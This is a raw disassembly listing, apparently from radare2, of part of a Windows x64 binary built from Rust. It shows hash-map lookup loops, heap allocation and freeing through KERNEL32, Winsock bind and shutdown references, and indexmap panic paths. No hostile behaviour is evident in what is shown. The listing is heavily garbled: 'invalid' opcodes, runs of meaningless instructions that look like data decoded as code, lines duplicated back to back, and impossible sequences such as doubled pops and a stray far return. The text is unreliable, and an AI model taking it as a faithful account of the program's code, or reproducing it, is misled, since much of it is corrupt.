jae 0x140052fe2
movzx ecx, byte [rdi + r10]
cmp cl, byte [r8 + r11]
je 0x140052f00
add rbp, qword [rsp + 0x40]
mov qword [rax + 0x20], rbp
mov r10, qword [rsp + 0x38]
test sil, sil
mov rcx, qword [rsp + 0x20]
jne 0x140052f64
jmp 0x140052f7b
sub rsi, qword [rsp + 0x28]
mov rbp, rsi
inc rbp
mov esi, r12d
test r12b, r12b
je 0x140052f73
mov rcx, qword [rsp + 0x20]
mov r12, qword [rsp + 0x30]
lea r10, [r14 + rbp]
cmp r10, r9
jb case.0x140037f1e.237
jmp 0x140052f8f
xor r10d, r10d
mov rcx, qword [rsp + 0x20]
mov qword [rax + 0x30], r10
mov r12, r10
lea r10, [r14 + rbp]
cmp r10, r9
jb case.0x140037f1e.237
mov qword [rax + 0x20], r9
xor eax, eax
jmp 0x140052fbd
add rdx, rbp
mov qword [rax + 0x20], rdx
test sil, sil
jne 0x140052fab
mov qword [rax + 0x30], 0
add byte [rax], al
add byte [rax], al
mov rcx, qword [rsp + 0x20]
mov qword [rcx + 8], rbp
mov qword [rcx + 0x10], rdx
mov eax, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rcx], rax
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, [0x1401ddee0]
mov rcx, r10
call fcn.140160ed0
ud2
lea r8, [0x1401ddef8]
mov rcx, r11
mov rdx, r9
call fcn.140160ed0
ud2
add byte [rdi], cl
or ecx, dword [rax + 1]
jmp 0x189ce6946
add rcx, rbp
cmp r9, rcx
cmova rcx, r9
lea r8, [0x1401ddf10]
mov rdx, r9
call fcn.140160ed0
ud2
int3
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xd8
fadd dword [rax]
add byte [rax], al
fadd dword [rax]
add byte [rax], al
movaps xmmword [rsp + 0xc0], xmm7
movdqa xmmword [rsp + 0xb0], xmm6
add byte [rax], al
add byte [rcx + rcx*4 - 0x3b], cl
add byte [rax], al
add byte [rsi + 0xf], ah
jg 0x140052ff3
and al, 0xb0
add byte [rax], al
add byte [rcx + rcx*4 - 0x3b], cl
mov rsi, rdx
mov r13, rcx
mov byte [rsp + 0x2f], r9b
cmp r9b, 2
jne case.0x140038460.76
mov rcx, r13
mov rdx, rbp
invalid
mov r8, rsi
call fcn.140053cf0
invalid
mov rdi, qword [rbp + 0x208]
mov rcx, qword [rsi + 0x38]
cmp byte [rax - 0x75], r9b
push rsi
mov r8, rdi
cmp byte [rax - 0x75], r9b
push rsi
mov r8, rdi
call fcn.140037220
mov rbx, rax
mov r15, qword [rsi + 0x20]
mov edi, dword [rsi + 0x20]
mov edi, dword [rsi + 0x20]
mov r12, qword [rsi + 0x30]
mov rax, qword [rsi]
mov rdx, qword [rsi + 8]
mov rcx, rbx
shr rcx, 0x39
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r8d, r8d
pcmpeqd xmm1, xmm1
mov r9, rbx
mov qword [rsp + 0x30], r13
and r9, rdx
movdqu xmm2, xmmword [rax + r9]
movdqa xmm3, xmm0
pcmpeqb xmm3, xmm2
pmovmskb r11d, xmm3
nop dword [rax]
mov r14d, r11d
test r11w, r11w
je 0x140053120
tzcnt r10d, r14d
add r10, r9
and r10, rdx
lea rcx, [r10*8]
mov r11, rax
sub r11, rcx
mov rcx, qword [r11 - 8]
cmp r12, rcx
jbe 0x1400535d5
lea r11d, [r14 - 1]
and r11d, r14d
shl rcx, 7
cmp qword [r15 + rcx + 0x78], rdi
jne 0x1400530d0
jmp 0x14005313c
pcmpeqb xmm2, xmm1
pmovmskb ecx, xmm2
test ecx, ecx
jne 0x140053143
add r9, r8
add r9, 0x10
add r8, 0x10
jmp 0x1400530b7
neg r10
lea rbx, [rax + r10*8]
mov r13d, dword [rbp + 0x278]
test r13d, 0x400000
lea rcx, [0x14016a068]
lea rax, reloc.WS2_32.dll_bind
cmove rax, rcx
cmp dword [rbp + 0x78], 5
lea rcx, [rbp + 0x78]
cmovne rax, rcx
mov rdx, qword [rax]
lea rcx, [0x140204680]
invalid
adc eax, 0x8d4c001b
add eax, 0x1b54d0
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
jmp rdx
invalid
lea rax, [0x14016a4d8]
jmp 0x1400531b5
lea rax, [0x14016a518]
jmp 0x1400531b5
lea rax, [0x14016a558]
jmp 0x1400531b5
lea rax, [0x14016a598]
jmp 0x1400531b5
mov rcx, qword [rax + 8]
mov rax, qword [rax + 0x10]
call qword [rax + 0x28]
shr r13d, 0x10
in eax, dx
adc byte [rcx - 0x80], al
in eax, 1
mov qword [rsp + 0xa0], 0
mov byte [rsp + 0xa9], 3
mov qword [rsp + 0x58], 8
add byte [rax], al
add byte [rsi + 0xf], ah
out dx, eax
sal bl, 0xf
jg 0x140053229
and al, 0x60
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x70], 8
jo case.0x140010662.418
add byte [rax], al
add bl, dh
movq qword [rsp + 0x78], mm0
invalid
mov qword [rsp + 0x88], 8
movdqu xmmword [rsp + 0x90], xmm0
mov byte [rsp + 0xa8], r13b
test r14w, r14w
je 0x140053251
mov rcx, qword [rbx - 8]
cmp rcx, r12
mov rbx, qword [rsp + 0x30]
jae 0x140053605
add byte [rax], al
shl rcx, 7
add r15, rcx
lea rcx, [rsp + 0x40]
call fcn.1400367b0
jmp 0x140053281
lea r9, [rsp + 0x40]
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
call fcn.140036f60
mov r15, rax
mov rdx, qword [rsi + 0x30]
cmp rax, rdx
mov rbx, qword [rsp + 0x30]
jae 0x1400535f4
shl r15, 7
add r15, qword [rsi + 0x20]
movzx ecx, byte [r15 + 0x69]
movzx eax, byte [rsp + 0x2f]
movzx edx, al
mov dword [rsp + 0x3c], edx
cmp cl, 3
je 0x1400532a3
movzx eax, cl
cmp cl, byte [rsp + 0x2f]
cmovbe eax, dword [rsp + 0x3c]
mov byte [r15 + 0x69], al
mov rdx, qword [r15 + 0x40]
cmp rdx, qword [r15 + 0x38]
jne 0x1400532be
lea rcx, [r15 + 0x30]
call fcn.14004ef00
mov rdx, qword [r15 + 0x40]
mov rax, qword [r15 + 0x30]
lea rcx, [rdx + rdx*2]
mov qword [rax + rcx*8], 8
inc rdx
pxor xmm6, xmm6
movdqu xmmword [rax + rcx*8 + 8], xmm6
mov qword [r15 + 0x40], rdx
mov rdx, qword [r15 + 0x58]
cmp rdx, qword [r15 + 0x50]
jne 0x1400532f6
lea rcx, [r15 + 0x48]
call fcn.14004ef00
mov rdx, qword [r15 + 0x58]
mov rax, qword [r15 + 0x48]
lea rcx, [rdx + rdx*2]
mov qword [rax + rcx*8], 8
inc rdx
movdqu xmmword [rax + rcx*8 + 8], xmm6
mov qword [r15 + 0x58], rdx
pop rax
pop rax
mov rax, qword [rbx + 0x10]
mov rcx, qword [rax + 0x128]
test rcx, rcx
je 0x1400535a3
test byte [rdx + rax], bh
invalid
test byte [rdx + rax], bh
add byte [rax - 0x75], cl
sbb byte [rax], 1
add byte [rax], al
mov rax, qword [rax + 0x118]
imul r10, rcx, 0x68
add r10, rax
pcmpeqd xmm6, xmm6
xorps xmm7, xmm7
mov qword [rsp + 0x30], r10
jmp 0x14005337d
invalid
cmp ah, byte [rsi + 0x66]
nop word cs:[rax + rax]
mov r10, qword [rsp + 0x30]
mov rax, qword [r15 + 0x48]
lea rcx, [rdx + rdx*2]
mov qword [rax + rcx*8], 8
enter 8, 0
add byte [rax - 1], cl
ret 0x110f
jl 0x140053334
or byte [rcx - 0x77], cl
push rdi
pop rax
enter 8, 0
add byte [rax - 1], cl
ret 0x110f
mov rax, r14
cmp r14, r10
je 0x1400535a3
lea r14, [rax + 0x68]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rax + 0x28]
shl rdx, 3
xor r8d, r8d
cmp rdx, r8
je 0x140053371
lea r9, [r8 + 8]
cmp qword [rcx + r8], rdi
mov r8, r9
jne 0x140053390
mov r12, qword [rax + 0x10]
mov rcx, qword [rsi + 0x38]
mov rdx, qword [rsi + 0x40]
mov r8, r12
call fcn.140037220
mov rbx, rax
mov r15, qword [rsi + 0x20]
mov rdx, qword [rsi + 0x30]
mov r8, qword [rsi]
mov r9, qword [rsi + 8]
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r10d, r10d
mov rax, rbx
and rax, r9
movdqu xmm1, xmmword [r8 + rax]
movdqa xmm2, xmm0
pcmpeqb xmm2, xmm1
pmovmskb r13d, xmm2
nop word [rax + rax]
mov r11d, r13d
test r13w, r13w
je 0x140053450
tzcnt ebp, r11d
add rbp, rax
and rbp, r9
lea rcx, [rbp*8]
mov r13, r8
invalid
sub r13, rcx
mov rcx, qword [r13 - 8]
cmp rdx, rcx
jbe 0x1400535c7
invalid
invalid
add byte [rbp - 0x73], al
imul edi, edi, 0x45
and ebp, ebx
lea r13d, [r11 - 1]
and r13d, r11d
shl rcx, 7
cmp qword [r15 + rcx + 0x78], r12
js 0x1400534b5
invalid
js 0x1400534b5
mov edi, 0x66662deb
nop word cs:[rax + rax]
add byte [rax], al
jmp 0x140053470
add byte [rax], al
pcmpeqb xmm1, xmm6
pmovmskb ecx, xmm1
test ecx, ecx
jne 0x140053477
add rax, r10
add rax, 0x10
add r10, 0x10
jmp 0x1400533e4
nop dword [rax]
neg rbp
lea rbx, [r8 + rbp*8]
mov qword [rsp + 0xa0], 0
mov byte [rsp + 0xa9], 3
test eax, 0x3000000
test eax, 0x3000000
mov qword [rsp + 0x58], 8
mov qword [rsp + 0x40], 0
and al, 0x40
add byte [rax], al
add byte [rax], al
and al, 0x40
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x60]
movups xmmword [rax], xmm7
mov qword [rsp + 0x70], 8
mov dword [rsp + 0x70], 8
mov dword [rsp + 0x70], 8
movups xmmword [rax + 0x18], xmm7
mov qword [rsp + 0x88], 8
mov byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
and al, 0x88
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add dh, al
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax], al
mov byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
mov byte [rsp + 0xa8], 0
movups xmmword [rax + 0x30], xmm7
test r11w, r11w
je 0x140053564
mov rcx, qword [rbx - 8]
cmp rcx, rdx
jae 0x1400535e6
shl rcx, 7
add r15, rcx
lea rcx, [rsp + 0x40]
call fcn.1400367b0
movzx ecx, byte [r15 + 0x69]
movzx eax, byte [rsp + 0x2f]
cmp cl, 3
je 0x14005350d
movzx eax, cl
cmp cl, byte [rsp + 0x2f]
cmovbe eax, dword [rsp + 0x3c]
mov byte [r15 + 0x69], al
mov rdx, qword [r15 + 0x40]
cmp rdx, qword [r15 + 0x38]
jne 0x140053528
lea rcx, [r15 + 0x30]
call fcn.14004ef00
mov rdx, qword [r15 + 0x40]
mov rax, qword [r15 + 0x30]
lea rcx, [rdx + rdx*2]
mov qword [rax + rcx*8], 8
inc rdx
movups xmmword [rax + rcx*8 + 8], xmm7
mov qword [r15 + 0x40], rdx
mov rdx, qword [r15 + 0x58]
cmp rdx, qword [r15 + 0x50]
jne 0x140053350
lea rcx, [r15 + 0x48]
call fcn.14004ef00
dec dword [rcx - 0x75]
push rdi
pop rax
dec dword [rcx - 0x75]
push rdi
pop rax
jmp 0x140053350
mov rcx, rsi
mov rdx, rbx
mov r8, r12
lea r9, [rsp + 0x40]
call fcn.140036f60
mov r15, rax
mov rdx, qword [rsi + 0x30]
cmp rax, rdx
jae 0x1400535f4
shl r15, 7
add r15, qword [rsi + 0x20]
and byte [rcx + 0xf], al
mov dh, 0x4f
imul ecx, dword [rdi], 0x2f2444b6
invalid
and byte [rcx + 0xf], al
mov dh, 0x4f
imul ecx, dword [rdi], 0x2f2444b6
cmp cl, 3
je 0x14005350d
stc
add ecx, dword [rdi]
test byte [rdi - 1], ch
invalid
jmp 0x140053501
movaps xmm6, xmmword [rsp + 0xb0]
movaps xmm7, xmmword [rsp + 0xc0]
and al, 0xb0
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0xc0], bh
add rsp, 0xd8
fadd dword [rax]
add byte [rax], al
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_1.9.3_srcmapcore.rs
call fcn.140160ed0
ud2
invalid
or ecx, dword [rbp + rcx*4 + 5]
lodsb al, byte [rsi]
and edx, dword [rax + rax]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_1.9.3_srcmapcore.rs
mov rdx, r12
call fcn.140160ed0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_1.9.3_srcmapcore_raw.rs
call fcn.140160ed0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_1.9.3_srcmapcore.rs
mov rcx, r15
call fcn.140160ed0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_1.9.3_srcmapcore_raw.rs
mov rdx, r12
call fcn.140160ed0
ud2
nop
add byte [rax], al
add byte [rbp - 0x75], cl
add dword [rcx - 0x75], ecx
or byte [r8 - 0x77], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rcx - 0x75], cl
adc byte [r9 - 0x77], cl
ror dword [rcx - 0x3f], 0xe1
add eax, 0x83c8d4b
cmp al, 8
cmp al, 8
mov rbx, r8
test rax, rax
mov qword [rsp + 0x88], r8
je 0x140053a2c
mov r15, rdx
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0xb8], rax
lea rax, [r14 + 0x78]
test byte [r14 + 0x27a], 0x40
test byte [rsi + 0x27a], 0x40
test byte [rsi + 0x27a], 0x40
lea rcx, [0x14016a068]
lea rdx, reloc.WS2_32.dll_bind
cmove rdx, rcx
cmp qword [r14 + 0x78], 5
mov r12, qword [r14 + 0x208]
cmovne rdx, rax
mov rax, qword [rdx]
mov qword [rsp + 0x100], rax
mov rax, qword [rdx + 8]
mov qword [rsp + 0xe8], rax
test byte [rax + rbp*8], ah
add byte [rax], al
add byte [rax - 0x75], cl
adc byte [rax - 0x77], cl
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rax], al
test byte [rax + rbp*8], ah
add byte [rax], al
add byte [rax - 0x75], cl
adc byte [rax - 0x77], cl
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rax], al
add r9, 0xffffffffffffffe0
lea rcx, [r8 + 0x28]
add byte [rax], al
add r9, 0xffffffffffffffe0
lea rcx, [r8 + 0x28]
mov rax, r8
mov qword [rsp + 0xa0], rdi
and al, 0xa0
add byte [rax], al
add byte [rcx + rcx*4 - 0x4c], cl
and al, 0xf8
add byte [rax], al
add byte [rcx + rcx*4 - 0x44], cl
and al, 0xf0
add byte [rax], al
add cl, ch
fld dword [rax]
add byte [rax], al
and al, 0xa0
add byte [rax], al
add byte [rcx + rcx*4 - 0x4c], cl
and al, 0xf8
add byte [rax], al
add byte [rcx + rcx*4 - 0x44], cl
and al, 0xf0
add byte [rax], al
add cl, ch
fld dword [rax]
add byte [rax], al
nop dword [rax]
mov qword [rsp + 0xc0], rbp
mov qword [rsp + 0xc8], r13
lodsb al, byte [rsi]
and al, 0xc0
add byte [rax], al
add byte [rcx + rcx*4 - 0x54], cl
and al, 0xc8
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
mov rax, qword [rsp + 0x50]
and al, 0x50
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x60], rax
and al, 0x60
and al, 0x60
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rsi
movzx eax, byte [rsp + 0x3f]
mov byte [rsp + 0x78], al
mov eax, dword [rsp + 0x48]
and al, 0x48
and al, 0x48
mov ecx, dword [rsp + 0x4b]
lea rdx, [rsp + 0x81]
mov dword [rdx - 5], ecx
mov dword [rdx - 8], eax
mov rsi, qword [rsp + 0xb8]
mov rcx, rsi
mov rdx, r12
lea r8, [rsp + 0xc0]
lea r9, [rsp + 0x60]
call fcn.140043f40
mov r15, qword [rsp + 0xf0]
mov r8, qword [r15 + 0x18]
mov rcx, rsi
mov rdx, r12
call fcn.140053bb0
mov r9, qword [rsp + 0xb0]
add r9, 0xffffffffffffffe0
mov rcx, qword [rsp + 0xa8]
add rcx, 0x20
mov rdi, qword [rsp + 0xa0]
mov rax, qword [rsp + 0x110]
cmp rax, rdi
mov r14, qword [rsp + 0xf8]
je 0x140053a70
lea rbx, [rax + 0x20]
movzx edx, byte [rax + 0x18]
mov byte [rsp + 0x3f], dl
cmp dl, 2
je 0x140053a2c
mov qword [rsp + 0xa8], rcx
mov qword [rsp + 0xb0], r9
mov rcx, qword [rax]
mov qword [rsp + 0x40], rcx
mov rdi, qword [rax + 8]
mov rsi, qword [rax + 0x10]
mov ecx, dword [rax + 0x19]
mov eax, dword [rax + 0x1c]
mov dword [rsp + 0x4b], eax
mov dword [rsp + 0x48], ecx
inc qword [r15 + 0x18]
mov rax, qword [rsp + 0x100]
lea rdx, [0x140208664]
movsxd rcx, dword [rdx + rax*4]
invalid
add rcx, rdx
lea rax, [0x14016a4d8]
lea rdx, [0x140204680]
sbb eax, dword [rax]
invalid
sbb eax, dword [rax]
jmp rcx
sbb eax, dword [rax]
jmp 0x140053890
sbb eax, dword [rax]
jmp 0x140053890
xchg esp, eax
and al, 0xe8
add byte [rax], al
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
mov r8, qword [r15 + 0x10]
mov qword [rsp + 0x28], rsi
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x60]
mov r9, r14
call qword [rax + 0x18]
movzx eax, byte [rsp + 0x80]
mov rbp, qword [rsp + 0x60]
mov r13, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x58], rcx
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x50], rcx
cmp al, 0x16
jne 0x140053ab2
mov qword [rsp + 0x108], rdi
mov qword [rsp + 0x110], rbx
mov rax, qword [r15 + 0x10]
mov rcx, qword [rax + 0x128]
test rcx, rcx
je 0x140053700
mov rax, qword [rax + 0x118]
imul r15, rcx, 0x68
add r15, rax
jmp 0x140053982
mov qword [0x140215360], rax
mov rcx, rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
je 0x140053b8e
mov rcx, r14
mov rdx, qword [rsp + 0x40]
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], rsi
movzx eax, byte [rsp + 0x3f]
mov byte [rsp + 0x78], al
mov rcx, qword [rsp + 0xb8]
mov rdx, rbx
lea r8, [rsp + 0xc0]
lea r9, [rsp + 0x60]
call fcn.140043f40
mov rax, rdi
cmp rdi, r15
je 0x140053700
lea rdi, [rax + 0x68]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rax + 0x28]
shl rdx, 3
xor r8d, r8d
nop word cs:[rax + rax]
cmp rdx, r8
je 0x140053976
lea r9, [r8 + 8]
cmp qword [rcx + r8], r12
mov r8, r9
jne 0x1400539a0
mov rbx, qword [rax + 0x10]
lock inc qword [rbp]
jle 0x140053b8a
mov qword [rsp + 0xc0], rbp
mov qword [rsp + 0xc8], r13
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xd8], rax
test rsi, rsi
je 0x140053a21
js 0x140053b9d
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x140053917
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
jne 0x140053910
jmp 0x140053b8e
mov r14d, 1
jmp 0x140053931
sub rdi, rbx
je 0x140053a70
shr rdi, 5
add rbx, 8
mov rsi, qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140053a59
add rbx, 0x20
dec rdi
je 0x140053a70
cmp qword [rbx], 0
je 0x140053a50
mov r8, qword [rbx - 8]
mov rcx, qword [0x140215360]
xor edx, edx
call rsi
jmp 0x140053a50
cmp qword [rsp + 0x98], 0
je 0x140053a92
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x90]
mov byte [rax + 0x20], reloc.WS2_32.dll_shutdown
add rsp, 0x118
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rdx, [rsp + 0x81]
mov ecx, dword [rdx]
mov edx, dword [rdx + 3]
mov r8, qword [rsp + 0x90]
mov dword [r8 + 0x24], edx
mov dword [r8 + 0x21], ecx
mov qword [r8], rbp
mov qword [r8 + 8], r13
mov rcx, qword [rsp + 0x58]
mov qword [r8 + 0x18], rcx
mov rcx, qword [rsp + 0x50]
mov qword [r8 + 0x10], rcx
mov byte [r8 + 0x20], al
test rdi, rdi
je 0x140053b05
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsp + 0xa0], rbx
mov rdi, qword [rsp + 0xb0]
mov rbx, qword [rsp + 0xa8]
je 0x140053b50
shr rdi, 5
mov rsi, qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140053b39
add rbx, 0x20
dec rdi
je 0x140053b50
cmp qword [rbx], 0
je 0x140053b30
mov r8, qword [rbx - 8]
mov rcx, qword [0x140215360]
xor edx, edx
call rsi
jmp 0x140053b30
cmp qword [rsp + 0x98], 0
je 0x140053a9e
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rsp + 0x88]
add rsp, 0x118
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
ud2
mov ecx, 1
mov rdx, rsi
call fcn.14015d7f0
ud2
call fcn.1400138d0
ud2
sbb al, 0
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
xor byte [rcx], dl
invalid
test eax, 0x48001130
test ebx, ebx
test rbx, rbx
je 0x1400550c3
cmp eax, dword [rcx]
add byte [rax], al
dec rbx
lea rax, [rbx + rbx*2]
add al, 0x5b
add al, 0x5b
mov rdi, qword [rsi + rax*8]
test rdi, rdi
je 0x140055130
movdqu xmm6, xmmword [rsi + rax*8 + 8]
test rbx, rbx
je 0x140054fe1
lea r14, [rsi + 8]
mov r15, qword [sym.imp.KERNEL32.dll_HeapFree]
jmp fcn.140054fc9
test r13, r13
je 0x140054ff8
leave
jne 0x14005509b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400550b2
mov rcx, rax
mov qword [0x140215360], rax
mov dword [0x140215360], eax
mov dword [0x140215360], eax
mov r12, qword [rsp + 0x40]
and al, 0x40
xor edx, edx
mov r8, r12
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xchg edx, eax
invalid
adc dword [rax], eax
mov rsi, rax
test rax, rax
jne 0x140055193
xchg edx, eax
invalid
mov ecx, 1
mov rdx, qword [rsp + 0x40]
call fcn.14015d7f0
ud2
mov rdi, qword [rsp + 0x38]
mov qword [rdi + 8], 0
test r13, r13
je 0x1400551c8
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
jmp 0x14005510e
invalid
invalid
or byte [rax], al
add byte [rax], al
add byte [rsi + 0x48], ah
movd eax, mm6
invalid
test rax, rax
je 0x1400551c8
invalid
invalid
add byte [rax - 0x75], cl
or eax, 0x1c0257
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
ror byte [rcx - 0x77], cl
clc
movaps xmm6, xmmword [rsp + 0x160]
add rsp, 0x178
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x38]
mov qword [rax + 8], 0
test rbx, rbx
je 0x1400550d0
lea rdi, [rsi + 8]
mov r14, qword [sym.imp.KERNEL32.dll_HeapFree]
jmp fcn.14005515d
mov rcx, rsi
mov rdx, qword [rsp + 0x90]
mov r14, qword [rsp + 0x40]
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x38]
mov qword [rax], rbx
mov qword [rax + 8], rdi
movdqu xmmword [rax + 0x10], xmm6
jo case.0x14003207d.193
jo case.0x14003207d.193
mov qword [rax + 0x20], rsi
mov qword [rax + 0x28], r14
sub byte [rcx + rcx*4 + 0x70], cl
invalid
sub byte [rcx + rcx*4 + 0x70], cl
xor byte [rdi], cl
sub byte [rsp + 0x160], dh
invalid
add dword [rax], eax
invalid
movaps xmm6, xmmword [rsp + 0x160]
invalid
add rsp, 0x178
add byte [rax], al
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
ret
add eax, 0x18926d
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
add byte [rax - 0x73], cl
add eax, 0x1af480
invalid
add byte [rax - 0x73], cl
add eax, 0x1af480
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x70], eax
xorpd xmm0, xmm0
movupd xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x78], xmm0
lea rdx, [0x1401de660]
lea rcx, [rsp + 0x60]
call fcn.140160e20
ud2
mov ebp, 0xb0f0010
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, [0x1401de6d8]
add byte [rdx + 0x2b], bh
add dword [rbx], ebx
add byte [rbp + rcx*4 + 5], cl
sub edx, dword [rax + rbx + 0x2bba00]
add byte [rdx + 0x2b], bh
add byte [rdx + 0x2b], bh
call fcn.140160fb0
adc byte [rax], al
ud2
sbb byte [rax], al
mov rcx, r14
mov rdx, qword [rsp + 0x50]
call fcn.140161190
ud2
xchg ebx, eax
sbb byte [rax], al
mov edx, 0x2b
call fcn.140160fb0
invalid
mov esp, 0xb0f0010
cmp dword [rax + rdx + 0x480b0f00], 0x800d8d
sbb eax, dword [rax]
or eax, 0x1b0080
add byte [rax], 0x1b
add byte [rbp + rcx*4 + 5], cl
adc dword [rbx + 0x2bba0018], 0xe8000000
sbb byte [rax], al
mov edx, 0x2b
call fcn.140160fb0
mov esp, 0xb0f0010
lea r8, [0x1401de6c0]
sbb byte [rax], al
mov edx, 0x2b
call fcn.140160fb0
mov esp, 0xb0f0010
mov esp, 0xb0f0010
call fcn.1400138d0
ud2
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xc8
movaps xmmword [rsp + 0xb0], xmm7
sub dword [rsp + 0xb0], edi
sub dword [rsp + 0xb0], edi
movdqa xmmword [rsp + 0xa0], xmm6
mov r13, r8
invalid
mov rsi, rdx
mov rbx, rcx
mov rdx, r8
mov r8, rsi
call fcn.140053cf0
mov rdi, qword [r13 + 0x208]
mov rcx, qword [rsi + 0x38]
mov rdx, qword [rsi + 0x40]
mov r8, rdi
call fcn.140037220
mov r12, rax
mov r14, qword [rsi + 0x20]
mov r15, qword [rsi + 0x30]
mov rax, qword [rsi]
mov rdx, qword [rsi + 8]
mov rcx, r12
shr rcx, 0x39
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r8d, r8d
pcmpeqd xmm1, xmm1
mov r9, r12
mov qword [rsp + 0x28], rbx
jg 0x140055333
and al, 0xa0
add byte [rax], al
add byte [rbp - 0x77], cl
invalid
and r9, rdx
movdqu xmm2, xmmword [rax + r9]
movdqa xmm3, xmm0
pcmpeqb xmm3, xmm2
pmovmskb r11d, xmm3
nop
mov ebp, r11d
test r11w, r11w
je 0x140055450
tzcnt r10d, ebp
add r10, r9
and r10, rdx
lea rcx, [r10*8]
mov r11, rax
sub r11, rcx
mov rcx, qword [r11 - 8]
cmp r15, rcx
jbe 0x140055904
lea r11d, [rbp - 1]
and r11d, ebp
shl rcx, 7
cmp qword [r14 + rcx + 0x78], rdi
jne 0x140055400
jmp 0x140055469
pcmpeqb xmm2, xmm1
pmovmskb ecx, xmm2
test ecx, ecx
jne 0x140055470
add r9, r8
add r9, 0x10
add r8, 0x10
jmp 0x1400553e9
neg r10
lea r12, [rax + r10*8]
mov ebx, dword [r13 + 0x278]
test ebx, 0x400000
lea rcx, [0x14016a068]
lea rax, reloc.WS2_32.dll_bind
cmove rax, rcx
rol dword [rcx - 0x7d], 0x7d
js 0x140055499
rol dword [rcx - 0x7d], 0x7d
js 0x140055499
lea rcx, [r13 + 0x78]
cmovne rax, rcx
js 0x1400554e1
cmovne eax, ecx
mov rdx, qword [rax]
lea rcx, [0x140204680]
lea ecx, [0x140204680]
lea ecx, [0x140204680]
lea r8, [0x140208678]
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
add edx, eax
retf
add edx, eax
jmp rdx
lea rax, [0x14016a4d8]
jmp 0x1400554e2
